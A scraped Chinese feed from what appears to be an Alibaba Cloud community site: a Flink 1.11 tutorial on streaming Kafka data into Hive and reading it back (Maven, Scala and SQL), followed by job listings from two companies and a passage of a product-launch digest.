        <version>${flink.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-table-common</artifactId>
        <version>${flink.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-table-api-scala-bridge_${scala.bin.version}</artifactId>
        <version>${flink.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-table-planner-blink_${scala.bin.version}</artifactId>
        <version>${flink.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-connector-hive_${scala.bin.version}</artifactId>
        <version>${flink.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-sql-connector-kafka_${scala.bin.version}</artifactId>
        <version>${flink.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-json</artifactId>
        <version>${flink.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.flink</groupId>
        <artifactId>flink-shaded-hadoop-2-uber</artifactId>
        <version>${flink-shaded-hadoop.version}</version>
      </dependency>
      <dependency>
        <groupId>org.apache.hive</groupId>
        <artifactId>hive-exec</artifactId>
        <version>${hive.version}</version>
      </dependency>

    另外,别忘了找到 hdfs-site.xml 和 hive-site.xml,并将其加入项目。

    创建执行环境

    Flink 1.11 的 Table/SQL API 中,FileSystem Connector 是靠增强版 StreamingFileSink 组件实现,在源码中名为 StreamingFileWriter。我们知道,只有在 Checkpoint 成功时,StreamingFileSink 写入的文件才会由 Pending 状态变成 Finished 状态,从而能够安全地被下游读取。所以,我们一定要打开 Checkpointing,并设定合理的间隔。

    1.jpg

    val streamEnv = StreamExecutionEnvironment.getExecutionEnvironment
    streamEnv.setStreamTimeCharacteristic(TimeCharacteristic.EventTime)
    streamEnv.setParallelism(3)
    
    val tableEnvSettings = EnvironmentSettings.newInstance()
        .useBlinkPlanner()
        .inStreamingMode()
        .build()
    val tableEnv = StreamTableEnvironment.create(streamEnv, tableEnvSettings)
    tableEnv.getConfig.getConfiguration.set(ExecutionCheckpointingOptions.CHECKPOINTING_MODE, CheckpointingMode.EXACTLY_ONCE)
    tableEnv.getConfig.getConfiguration.set(ExecutionCheckpointingOptions.CHECKPOINTING_INTERVAL, Duration.ofSeconds(20))

    注册 HiveCatalog

    val catalogName = "my_catalog"
    val catalog = new HiveCatalog(
      catalogName,              // catalog name
      "default",                // default database
      "/Users/lmagic/develop",  // Hive config (hive-site.xml) directory
      "1.1.0"                   // Hive version
    )
    tableEnv.registerCatalog(catalogName, catalog)
    tableEnv.useCatalog(catalogName)

    创建 Kafka 流表

    Kafka Topic 中存储的是 JSON 格式的埋点日志,建表时用计算列生成事件时间与水印。1.11 版本 SQL Kafka Connector 的参数相比 1.10 版本有一定简化。

    tableEnv.executeSql("CREATE DATABASE IF NOT EXISTS stream_tmp")
    tableEnv.executeSql("DROP TABLE IF EXISTS stream_tmp.analytics_access_log_kafka")
    
    tableEnv.executeSql(
      """
        |CREATE TABLE stream_tmp.analytics_access_log_kafka (
        |  ts BIGINT,
        |  userId BIGINT,
        |  eventType STRING,
        |  fromType STRING,
        |  columnType STRING,
        |  siteId BIGINT,
        |  grouponId BIGINT,
        |  partnerId BIGINT,
        |  merchandiseId BIGINT,
        |  procTime AS PROCTIME(),
        |  eventTime AS TO_TIMESTAMP(FROM_UNIXTIME(ts / 1000,'yyyy-MM-dd HH:mm:ss')),
        |  WATERMARK FOR eventTime AS eventTime - INTERVAL '15' SECOND
        |) WITH (
        |  'connector' = 'kafka',
        |  'topic' = 'ods_analytics_access_log',
        |  'properties.bootstrap.servers' = 'kafka110:9092,kafka111:9092,kafka112:9092'
        |  'properties.group.id' = 'flink_hive_integration_exp_1',
        |  'scan.startup.mode' = 'latest-offset',
        |  'format' = 'json',
        |  'json.fail-on-missing-field' = 'false',
        |  'json.ignore-parse-errors' = 'true'
        |)
      """.stripMargin
    )

    前面已经注册了 HiveCatalog,故在 Hive 中可以观察到创建的 Kafka 流表的元数据(注意该表并没有事实上的列)。

    hive> DESCRIBE FORMATTED stream_tmp.analytics_access_log_kafka;
    OK
    # col_name              data_type               comment
    
    
    # Detailed Table Information
    Database:               stream_tmp
    Owner:                  null
    CreateTime:             Wed Jul 15 18:25:09 CST 2020
    LastAccessTime:         UNKNOWN
    Protect Mode:           None
    Retention:              0
    Location:               hdfs://sht-bdmq-cls/user/hive/warehouse/stream_tmp.db/analytics_access_log_kafka
    Table Type:             MANAGED_TABLE
    Table Parameters:
        flink.connector         kafka
        flink.format            json
        flink.json.fail-on-missing-field    false
        flink.json.ignore-parse-errors  true
        flink.properties.bootstrap.servers  kafka110:9092,kafka111:9092,kafka112:9092
        flink.properties.group.id   flink_hive_integration_exp_1
        flink.scan.startup.mode latest-offset
        flink.schema.0.data-type    BIGINT
        flink.schema.0.name     ts
        flink.schema.1.data-type    BIGINT
        flink.schema.1.name     userId
        flink.schema.10.data-type   TIMESTAMP(3)
        flink.schema.10.expr    TO_TIMESTAMP(FROM_UNIXTIME(`ts` / 1000, 'yyyy-MM-dd HH:mm:ss'))
        flink.schema.10.name    eventTime
        flink.schema.2.data-type    VARCHAR(2147483647)
        flink.schema.2.name     eventType
        # 略......
        flink.schema.9.data-type    TIMESTAMP(3) NOT NULL
        flink.schema.9.expr     PROCTIME()
        flink.schema.9.name     procTime
        flink.schema.watermark.0.rowtime    eventTime
        flink.schema.watermark.0.strategy.data-type TIMESTAMP(3)
        flink.schema.watermark.0.strategy.expr  `eventTime` - INTERVAL '15' SECOND
        flink.topic             ods_analytics_access_log
        is_generic              true
        transient_lastDdlTime   1594808709
    
    # Storage Information
    SerDe Library:          org.apache.hadoop.hive.serde2.lazy.LazySimpleSerDe
    InputFormat:            org.apache.hadoop.mapred.TextInputFormat
    OutputFormat:           org.apache.hadoop.hive.ql.io.IgnoreKeyTextOutputFormat
    Compressed:             No
    Num Buckets:            -1
    Bucket Columns:         []
    Sort Columns:           []
    Storage Desc Params:
        serialization.format    1
    Time taken: 1.797 seconds, Fetched: 61 row(s)

    创建 Hive 表

    Flink SQL 提供了兼容 HiveQL 风格的 DDL,指定 SqlDialect.HIVE 即可( DML 兼容还在开发中)。

    为了方便观察结果,以下的表采用了天/小时/分钟的三级分区,实际应用中可以不用这样细的粒度(10分钟甚至1小时的分区可能更合适)。

    tableEnv.getConfig.setSqlDialect(SqlDialect.HIVE)
    
    tableEnv.executeSql("CREATE DATABASE IF NOT EXISTS hive_tmp")
    tableEnv.executeSql("DROP TABLE IF EXISTS hive_tmp.analytics_access_log_hive")
    
    tableEnv.executeSql(
      """
        |CREATE TABLE hive_tmp.analytics_access_log_hive (
        |  ts BIGINT,
        |  user_id BIGINT,
        |  event_type STRING,
        |  from_type STRING,
        |  column_type STRING,
        |  site_id BIGINT,
        |  groupon_id BIGINT,
        |  partner_id BIGINT,
        |  merchandise_id BIGINT
        |) PARTITIONED BY (
        |  ts_date STRING,
        |  ts_hour STRING,
        |  ts_minute STRING
        |) STORED AS PARQUET
        |TBLPROPERTIES (
        |  'sink.partition-commit.trigger' = 'partition-time',
        |  'sink.partition-commit.delay' = '1 min',
        |  'sink.partition-commit.policy.kind' = 'metastore,success-file',
        |  'partition.time-extractor.timestamp-pattern' = '$ts_date $ts_hour:$ts_minute:00'
        |)
      """.stripMargin
    )

    Hive 表的参数复用了 SQL FileSystem Connector 的相关参数,与分区提交(Partition Commit)密切相关。仅就上面出现的4个参数简单解释一下。

    • sink.partition-commit.trigger:触发分区提交的时间特征。默认为 processing-time,即处理时间,很显然在有延迟的情况下,可能会造成数据分区错乱。所以这里使用 partition-time,即按照分区时间戳(即分区内数据对应的事件时间)来提交。
    • partition.time-extractor.timestamp-pattern:分区时间戳的抽取格式。需要写成 yyyy-MM-dd HH:mm:ss 的形式,并用 Hive 表中相应的分区字段做占位符替换。显然,Hive 表的分区字段值来自流表中定义好的事件时间,后面会看到。
    • sink.partition-commit.delay:触发分区提交的延迟。在时间特征设为 partition-time 的情况下,当水印时间戳大于分区创建时间加上此延迟时,分区才会真正提交。此值最好与分区粒度相同,例如若 Hive 表按1小时分区,此参数可设为 1 h,若按 10 分钟分区,可设为 10 min。
    • sink.partition-commit.policy.kind:分区提交策略,可以理解为使分区对下游可见的附加操作。 metastore 表示更新 Hive Metastore 中的表元数据, success-file 则表示在分区内创建 _SUCCESS 标记文件。

    当然,SQL FileSystem Connector 的功能并不限于此,还有很大自定义的空间(如可以自定义分区提交策略以合并小文件等)。具体可参见官方文档。

    https://ci.apache.org/projects/flink/flink-docs-release-1.11/dev/table/connectors/filesystem.html#streaming-sink

    流式写入 Hive

    注意将流表中的事件时间转化为 Hive 的分区。

    tableEnv.getConfig.setSqlDialect(SqlDialect.DEFAULT)
    tableEnv.executeSql(
      """
        |INSERT INTO hive_tmp.analytics_access_log_hive
        |SELECT
        |  ts,userId,eventType,fromType,columnType,siteId,grouponId,partnerId,merchandiseId,
        |  DATE_FORMAT(eventTime,'yyyy-MM-dd'),
        |  DATE_FORMAT(eventTime,'HH'),
        |  DATE_FORMAT(eventTime,'mm')
        |FROM stream_tmp.analytics_access_log_kafka
        |WHERE merchandiseId > 0
      """.stripMargin
    )

    来观察一下流式 Sink 的结果吧。

    2.jpg

    上文设定的 Checkpoint Interval 是 20 秒,可以看到,上图中的数据文件恰好是以 20 秒的间隔写入的。由于并行度为 3,所以每次写入会生成 3 个文件。分区内所有数据写入完毕后,会同时生成 _SUCCESS 文件。如果是正在写入的分区,则会看到 .inprogress 文件。

    通过 Hive 查询一下,确定数据的时间无误。

    hive> SELECT from_unixtime(min(cast(ts / 1000 AS BIGINT))),from_unixtime(max(cast(ts / 1000 AS BIGINT)))
        > FROM hive_tmp.analytics_access_log_hive
        > WHERE ts_date = '2020-07-15' AND ts_hour = '23' AND ts_minute = '23';
    OK
    2020-07-15 23:23:00 2020-07-15 23:23:59
    Time taken: 1.115 seconds, Fetched: 1 row(s)

    流式读取 Hive

    要将 Hive 表作为流式 Source,需要启用 Dynamic Table Options,并通过 Table Hints 来指定 Hive 数据流的参数。以下是简单地通过 Hive 计算商品 PV 的例子。

    tableEnv.getConfig.getConfiguration.setBoolean(TableConfigOptions.TABLE_DYNAMIC_TABLE_OPTIONS_ENABLED, true)
    
    val result = tableEnv.sqlQuery(
      """
         |SELECT merchandise_id,count(1) AS pv
         |FROM hive_tmp.analytics_access_log_hive
         |/*+ OPTIONS(
         |  'streaming-source.enable' = 'true',
         |  'streaming-source.monitor-interval' = '1 min',
         |  'streaming-source.consume-start-offset' = '2020-07-15 23:30:00'
         |) */
         |WHERE event_type = 'shtOpenGoodsDetail'
         |AND ts_date >= '2020-07-15'
         |GROUP BY merchandise_id
         |ORDER BY pv DESC LIMIT 10
       """.stripMargin
    )
    
    result.toRetractStream[Row].print().setParallelism(1)
    streamEnv.execute()

    三个 Table Hint 参数的含义解释如下。

    • streaming-source.enable:设为 true,表示该 Hive 表可以作为 Source。
    • streaming-source.monitor-interval:感知 Hive 表新增数据的周期,以上设为 1 分钟。对于分区表而言,则是监控新分区的生成,以增量读取数据。
    • streaming-source.consume-start-offset:开始消费的时间戳,同样需要写成 yyyy-MM-dd HH:mm:ss 的形式。

    更加具体的说明仍然可参见官方文档。

    https://links.jianshu.com/go?to=https%3A%2F%2Fci.apache.org%2Fprojects%2Fflink%2Fflink-docs-release-1.11%2Fdev%2Ftable%2Fhive%2Fhive_streaming.html%23streaming-reading

    最后,由于 SQL 语句中有 ORDER BY 和 LIMIT 逻辑,所以需要调用 toRetractStream() 方法转化为回撤流,即可输出结果。

    The End

    Flink 1.11 的 Hive Streaming 功能大大提高了 Hive 数仓的实时性,对 ETL 作业非常有利,同时还能够满足流式持续查询的需求,具有一定的灵活性。

    感兴趣的同学也可以自己上手测试。

    ]]>
    【北京天源迪科信息技术有限公司】- 招聘职位详情(社招) Fri, 02 May 2025 09:39:04 +0800 北京天源迪科信息技术有限公司介绍

    北京天源迪科信息技术有限公司(以下简称:北京天源迪科)成立于2011年,为天源迪科全资子公司。北京天源迪科秉承天源迪科集团公司的发展主旨,是一家集产品研发、工程实施、系统集成、系统运维、业务咨询、增值运营为一体的综合性软件公司。在北京中关村及亦庄核心地段有两处办公区域,拥有员工800多人。北京天源迪科经过这些年的快速发展,公司以电信运营商业务运营支撑软件和服务为根基,大力发展云计算、大数据、人工智能、物联网等先进技术,业务领域已经拓展到运营商、军工、军队、公安、政府、金融、新能源等十多个行业,已形成跨行业、多盈利模式的业务布局。

    公司目前已拥有300多项软件著作权及发明专利,并与华为、阿里巴巴、腾讯、中电科等业界知名企业结成战略合作伙伴关系。
    未来,北京天源迪科继续秉承“诚信、专业、协作、创新”的精神,将坚持走自主创新、科技强军、安全可控、合作发展的道路,携手用户智慧创新,更好地服务于军队和社会。
    

    职位1: 军工项目经理

    Base地点: 北京
    岗位职责:
    安排项目计划,跟踪项目进度;
    收集客户的潜在需求,对客户的需求进行分析,输出需要分析及方案设计文档;
    负责现场项目的日常运维及系统升级相关任务安排;
    具体要求:
    熟悉oracle/mysql数据库,了解主要数据结构,SQL优化及数据库管理工具;
    熟悉spring boot架构,对多线程应用的项目应用经验;
    熟练使用禅道,project等常见项目管理以及WBS工具;
    熟悉Axsure等设计工具的使用;
    其他要求:
    至少5年项目管理经验,有大型IT应用系统实施及项目管理经验;有军工项目经验优先,有国产化应用系统使用经验者优先;
    对客户的需求敏感,能够自主收集客户的潜在需求,
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:1人;持阿里云认证优先

    职位2:JAVA开发(中关村)

    Base地点: 北京
    岗位职责:
    1、负责部门核心项目、模块需求分析和代码研发;
    2、参与架构设计、分析和功能设计工作;
    3、承担项目、模块核心功能、公共核心模块的代码编写;接口规范制定,确保负责的项目、模块进度和质量;
    4、主导、参与技术难题攻关,持续提升核心系统的稳定性及性能。
    5、负责相关项目、模块的研发交付,项目架构设计文档的编写
    具体要求:
    1、计算机及相关专业本科及以上学历;
    2、3年以上JAVA开发经验,1年以上分布式系统Java开发的经验;
    3、具有良好的团队协作能力和沟通能力,表达能力强,工作积极主动、有责任心;
    4、JAVA基础知识扎实,深刻理解多线程、集合等基础框架,熟悉多线程及高性能的设计与编码及性能调优;
    5、熟悉主流数据库系统(如MySQL,PG)的管理和使用;
    6、熟悉分布式系统的设计和应用,熟悉分布式、缓存、消息等机制,在大中型系统开发中担任过核心开发或架构师角色。
    7、熟练掌握 SSM 、Spring Boot等开源框架,具有扩展框架的能力;
    8、熟练掌握 JAVA 并发(AIO、NIO等)编程,了解HTTP、TCP/IP协议;
    9、RabbitMQ、ActiveMQ和Kafaka等MQ至少熟悉一种;
    10、Redis、Memcached等缓存技术,至少熟悉一种;
    其他要求:
    熟悉bootstraps/vue/easyui/extjs前端框架者优先;
    具备良好的理解能力和文档表达能力,输出相关文档
    有项目技术管理经验者优先
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:2人;持阿里云认证优先

    职位3:JAVA开发(亦庄)

    Base地点: 北京
    岗位职责:
    1、主要从事java后台服务端业务逻辑的功能设计、开发和实现;
    2、参与需求分析及设计评审、文档编写;
    3、根据业务线项目需求,开发新系统及系统升级改造;
    4、根据产品功能模块设计,编码实现各模块功能,并确保开发质量与进度;
    5、工作态度积极、主动,善于学习,有团队合作精神,具有良好的理解能力与沟通能力。
    具体要求:
    1、本科及以上学历,3年以上java开发经验;
    2、精通java语言,掌握面向对象的编程方法及思想;熟悉多线程、熟练应用微服务框架进行应用系统的开发;
    3、有分布式数据库开发经验者优先;
    4、使用过flink流式计算框架、rocketmq分布式消息队列、redis分布式缓存技术应用项目者优先;
    5、掌握linux操作系统常用的操作命令; 有过DCOS或K8S经验者优先
    6、熟练掌握ORACLE或MYSQL数据库;
    7、能接受出差,具备较强的学习、分析问题解决问题的能力;良好的团队合作精神。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:2人;持阿里云认证优先

    职位4: JAVA开发(重庆)

    Base地点: 重庆
    岗位职责:
    1.系统需求分析、设计、实现
    2.高可用、高并发服务端系统、接口设计和开发
    3.根据客户端业务设计和实现可扩展的服务端系统
    4.与团队共同协作解决技术难题
    5.为产品设计提供技术评估
    6.关注互联网应用相关技术与信息
    具体要求:

    1. 本科及以上学历,计算机相关专业,2年以上工作经验;
      2、java基础扎实,熟悉io、多线程、集合等,熟悉分布式、缓存、消息、搜索等机制,熟悉Java web开发;

    3、熟悉Spring、Mybatis、Redis、MQ(基本开发框架)等常用框架;熟悉linux;
    4、精通Mysql、Oracle数据库或至少一种数据库,能进行数据库设计。
    5、熟悉分布式系统架构设计和实现,有大型分布式,高并发,高负载,高可用性系统设计开发经验优先。
    6、思路清晰,善于学习和思考,能独立分析和解决问题;
    7.、拥有良好的团队协作能力与抗压能力;
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:6人;持阿里云认证优先

    职位5:JAVA开发(合肥)

    Base地点: 合肥
    岗位职责:
    1、根据项目要求完成功能模块设计、编码、集成测试与接口联调,确保开发质量与进度;
    2、负责系统模块的优化、后续系统维护;
    3、负责相关项目文档编写;
    4、有电信项目开发经验优先考虑;
    5、2年或以上软件开发经验。
    具体要求:
    1、精通Java语言,掌握面向对象的编程方法及思想;熟悉J2EE体系,熟悉流行的MVC框架Struts2,Spring,Mybatis等;
    2、有Java Web实际项目开发经验,掌握AJAX、jQuery、WebService、Socket、XML等技术,有良好的编码习惯;
    3、良好的面向对象思想,熟悉设计模式;
    4、熟练掌握Oracle及MySql数据库,可编写复杂的SQL语句,有一定的SQL调优能力;
    5、熟悉Docker容器化技术,Mesos、Marathon、Kubernetes等分布式任务调度技术者优先;
    6、具备较强的学习、问题分析&解决能力,良好的团队合作精神。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:3人;持阿里云认证优先

    职位6: JAVA开发(郑州)

    Base地点: 郑州
    岗位职责:
    1、根据项目要求完成功能模块设计、编码、集成测试与接口联调,确保开发质量与进度;
    2、负责系统模块的优化、后续系统维护;
    3、负责相关项目文档编写;
    4、有电信项目开发经验优先考虑;
    5、2年或以上软件开发经验。
    具体要求:
    1、精通Java语言,掌握面向对象的编程方法及思想;熟悉J2EE体系,熟悉流行的MVC框架Struts2,Spring,Mybatis等;
    2、有Java Web实际项目开发经验,掌握AJAX、jQuery、WebService、Socket、XML等技术,有良好的编码习惯;
    3、良好的面向对象思想,熟悉设计模式;
    4、熟练掌握Oracle及MySql数据库,可编写复杂的SQL语句,有一定的SQL调优能力;
    5、熟悉Docker容器化技术,Mesos、Marathon、Kubernetes等分布式任务调度技术者优先;
    6、具备较强的学习、问题分析&解决能力,良好的团队合作精神。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:2人;持阿里云认证优先

    职位7: JAVA开发(南京)

    Base地点: 南京
    岗位职责:
    1.负责公司相关项目的设计、开发、单元测试、联调、集成测试等工作;
    2.项目方案及设计文档的编写;
    具体要求:
    1.全日制计算机相关专业本科或以上学历,计算机相关专业优先,1~3年Java开发工作经验;
    2.熟悉spring,Struct等主流框架,熟悉服务容器tomcat等的使用;
    3.熟练使用idea或其他集成开发工具,熟悉Linux系统及其命令;
    4.至少熟练使用一种关系数据库,如Mysql或Oracle;
    5.具有良好的团队合作意思,有强烈的责任心和积极主动的工作态度,较强的沟通能力和抗压能力;
    其他要求:
    具有分布式开发工作经验者优先;具有电商工作经验者优先。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:2人;持阿里云认证优先

    职位8: 运维(亦庄)

    Base地点: 北京
    岗位职责:
    可接受1-3个月的出差
    负责配合阿里云产品及相关业务应用的系统集成及维护
    安装部署维护各种主流开源中间件
    具体要求:
    计算机及相关专业本科以上学历,1年以上持续集成工作经验
    *熟悉持续集成jenkins安装部署、脚本编写,代码管理工具Gitlab ,拥有实际应用的相关经验
    *熟悉shell及python语言,拥有脚本编写经验
    *熟悉阿里云操作,至少管理过超过20台阿里云虚拟服务器
    *熟悉阿里云产品,包括SLB、RDS、OSS、Redis等
    熟悉CentOS Linux,安装部署及维护
    熟悉MySQL 安装部署及日常维护,熟悉SQL语言
    熟悉kubernetes容器平台,掌握部署安装及维护工作
    了解主流开源技术,如Nginx、LVS、keepalived、消息队列等,有维护经验
    了解zabbix或prometheus监控系统
    其他要求:
    熟悉云计算技术,拥有阿里云项目经验优先
    有阿里云相关认证优先
    做事思路清晰,具备文档撰写能力
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:2人;持阿里云认证优先

    职位9:需求/产品(深圳)

    Base地点: 深圳
    岗位职责:
    1、负责部门相关项目的需求梳理工作,形成产品方案;
    2、对所在行业的竞品进行调研,输出MRD,为产品的优化提供相关信息;
    3、掌握一定的需求分析方法论,能够有效输出需求规格书/需求分析报告,协助需求经理工作;
    4、持续跟进项目上线后的运营数据反馈,从数据中不断优化业务需求,让客户更满意;
    5、有较强的文字功底,能独立完成产品设计文档的编写
    具体要求:
    1、本科及以上学历,专业不限,1-2年工作经验;
    2、参与过一个完整生命周期的项目经验;
    3、能够熟练使用AxureRP、墨刀、Visio、PS、PPT等工具,有PS经验者优先;
    4、有耐心及同理心、善于倾听,乐于沟通,逻辑分析能力强;
    5、有 to B产品工作经验、通信行业经验者优先;
    6、面试时,请准备一份您最满意的产品原型展示给我们。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:1人;持阿里云认证优先

    职位10: 测试主管

    Base地点: 北京
    岗位职责:
    1、负责部门所有项目的日常管理工作;
    2、负责测试管理体系的建立与执行;
    3、负责测试项目工作的全局安排,并解决测试工作中出现的问题,保证测试工作的顺利开展;
    4、协助开发部门进行系统级别优化并提供高效合理的解决方案、主导测试需求的提交并推动实现;
    5、评估测试方案、测试策略和相关测试报告;
    6、培养指导测试工程师,并组织相关培训工作,保证测试团队能力的持续提高。
    具体要求:
    1、计算机、通信等相关专业本科及以上学历,3年以上测试管理经验
    2、熟悉主流的测试方法与理论,掌握主流的测试及管理工具;
    3、熟悉通信领域综合解决方案测试的优先;
    4、精通硬件测试过程、性能测试、可靠性测试;
    5、精通产品测试及解决方案测试;
    6、具有良好的沟通能力,较强的分析、解决问题能力;
    7、具备良好的管理、组织和协调能力,有高度的责任心、敬业精神和踏实严谨的工作作风。
    简历投递方式:
    1.简历通过邮件同时发送至stephanie.zhangx@alibaba-inc.com和wangzk@tydic.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:1人;持阿里云认证优先
    ]]>
    【外企德科浙江(FESCO Adecco Zhejiang)】- 招聘职位详情(社招) Fri, 02 May 2025 09:39:04 +0800 外企德科浙江(FESCO Adecco Zhejiang)介绍

    外企德科浙江(FESCO Adecco Zhejiang)
    2010年,FESCO与Adecco宣布携手成立FESCO Adecco,这一中国500强与世界500强的联手,开启了一个新的发展黄金期。FESCO Adecco致力于成为最专业的人力资源全面解决方案提供商,成为客户最值得信赖的人力资源合作伙伴。为客户打开通向国际市场及创新型人力资源服务模式的大门,推动中国乃至全球的人力资源外包产业的健康发展。
    北京外企服务集团(FESCO)
    FESCO 成立于1979年,是开创中国人力资源服务行业的第一家企业,是中国人力资源业界最具竞争力和品牌价值的企业,是中国500强企业之一。FESCO服务于来自上百个国家和地区的3.5万家客户,以及在这些机构中工作的350余万名中外雇员。在全国建立了230余家投资公司及分公司,形成了以北京和上海为中心、覆盖全国31个省市自治区400余座城市的服务网络,通过“一地签约,全国服务”为客户提供便捷。2010年起,FESCO与德科集团(The Adecco Group)成立了6家合资公司,使FESCO国际化的人力资源服务网络遍布全球。
    德科集团(The Adecco Group)
    德科集团(The Adecco Group)是全球人力资源服务行业的领航者,服务客户超过100,000家,每天为超过100万名求职者提供有意义的职业机会。在全球60多个国家和地区拥有超过34,000名全职员工,通过人才和科技引领人力资源行业的变革。凭借旗下的全球品牌Adecco,Modis,Badenoch & Clark,Spring Professional,Lee Hecht Harrison,Pontoon,Adia,YOSS,GENERAL ASSEMBLY和VETTERY,提供涵盖短期招聘、长期招聘、职业过渡、人才开发和人力资源外包等全面的人力资源解决方案。德科集团总部位于瑞士苏黎世,是《财富》世界500强人力资源服务供应商,在瑞士苏黎世(SIX Swiss Exchange)证券交易所公开上市。2018,获评卓越职场®研究所(Great Place to Work® Institute)发布的“世界最佳工作场所”榜单第5名。

    职位1: 云计算电话销售

    Base地点: 杭州
    岗位职责:
    1)云计算电销岗位,基于互联网云化技术理念为企业客户提供咨询及业务架构规划;负责阿里云产品及解决方案销售技术支持;
    2)负责对公司提供的客户资源进行业绩转化,对客户业绩产出负责;
    3)需要对云计算事业充满使命感,坚信云计算对行业的变革、对个人职业生涯的改变
    4)需要一定的商务推进能力,包括对中小企业正常商务采购决策流程,招投标流程的熟悉
    5)用自己的专业、信誉、口碑、智慧为客户创造价值
    具体要求:
    1.2年及以上IT相关行业背景,熟悉云计算基础产品(包括:弹性计算,数据库,存储,网络,安全等)优先;
    2.有一定的销售经验,参加过IT项目招投标或者项目交付优先
    3.对于云计算在特定行业中的应用和发展趋势有一定了解,了解电商/在线教育/游戏/音视频/物联网等等行业基本情况者优先
    简历投递方式:
    1.简历通过邮件发送至stephanie.zhangx@alibaba-inc.com
    2.邮件命名方式:姓名-投递公司-投递岗位

    *招聘人数:10-15人;持阿里云认证优先
    ]]>
    阿里云新品发布会周刊第63期 丨 优秀技术人,如何做到高效沟通? Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

    新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多新品发布会!


    精品直播

    第102期:新一代云原生数据仓库AnalyticDB 全新升级

    直播时间:2020年7月23日 14:00-15:00 查看直播

    TB1odtaOXT7gK0jSZFpXXaTkpXa-720-150.jpg

    云原生数据仓库AnalyticDB MySQL版(简称ADB,原分析型数据库MySQL版)是一种支持高并发低延时查询的新一代云原生数据仓库,全面兼容MySQL协议以及SQL:2003 语法标准,可以对海量数据进行即时的多维分析透视和业务探索,快速构建企业云上数据仓库。产品规格按需可选,基础版成本最低,适合BI查询应用;集群版提供高并发数据实时写入和查询能力,适用于高性能应用;弹性模式版本存储廉价按量计费,适用于10TB以上数据上云场景。

    讲师介绍:

    议题1:数字经济时代的云原生数据仓库演进趋势及进展解读

    李飞飞(飞刀)- 达摩院数据库首席科学家、阿里云智能数据库事业部总负责人

    议题2:迎接开放化、在线化、云原生数仓新时代

    占超群(离哲) - 阿里云智能数据库产品事业部OLAP产品部

    议题3:聚水潭:云原生数据仓库助力企业实现商业洞察

    赵坚密 聚水潭 - BI专家

    议题4:ADB实时数仓在基金业务场景的应用

    王哲 - 天弘基金首席架构师

    点击了解产品详情

    热门阅读

    1、秒懂云通信:如何用阿里云平台发短信?

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    手把手教你如何用阿里云平台发短信,超详细控制台步骤解析,快速上手!更有1650元短信体验代金券和免费试用,点击速抢! 查看原文

    2、初次使用 Elasticsearch 遇多种分词难题?那是你没掌握这些原理

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    初次接触 Elasticsearch 的同学经常会遇到分词相关的难题,比如如下这些场景:

    1、为什么命名有包含搜索关键词的文档,但结果里面就没有相关文档呢?
    2、我存进去的文档到底被分成哪些词(term)了?
    3、我得自定义分词规则,但感觉好麻烦呢,无从下手

    如果你遇到过类似的问题,希望本文可以解决你的疑惑。 查看原文

    3、全国交通智慧升级,阿里云视频上云打造高速公路“视觉中枢”

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg 在交通行 智慧高速的未来是联网联控,视频是核心抓手。阿里云高速公路视频上云解决方案聚焦全国高速“一张网”,以 “视频联网”构建高速公路“视觉中枢”,实现交通部提出的可视、可测、可控、可服务的目标。
    可视:利用阿里云遍布全国的边缘节点以及高性能的视频接入网关,为高速公路提供就近的视频上云服务。
    可测:依托领先的CDN网络加速能力,打造高速公路视频一站式接入、多场景智能分析、稳定流畅的应用创新平台。
    可控:内置达摩院人工智能算法引擎,30+种视觉场景式分析,算法自主学习。
    可服务:基于交通智能引擎,构建态势感知、事件处置、公众服务、养护施工等智能应用,提升出行便利度和幸福感。 查看原文

    4、优秀技术人,如何做到高效沟通?

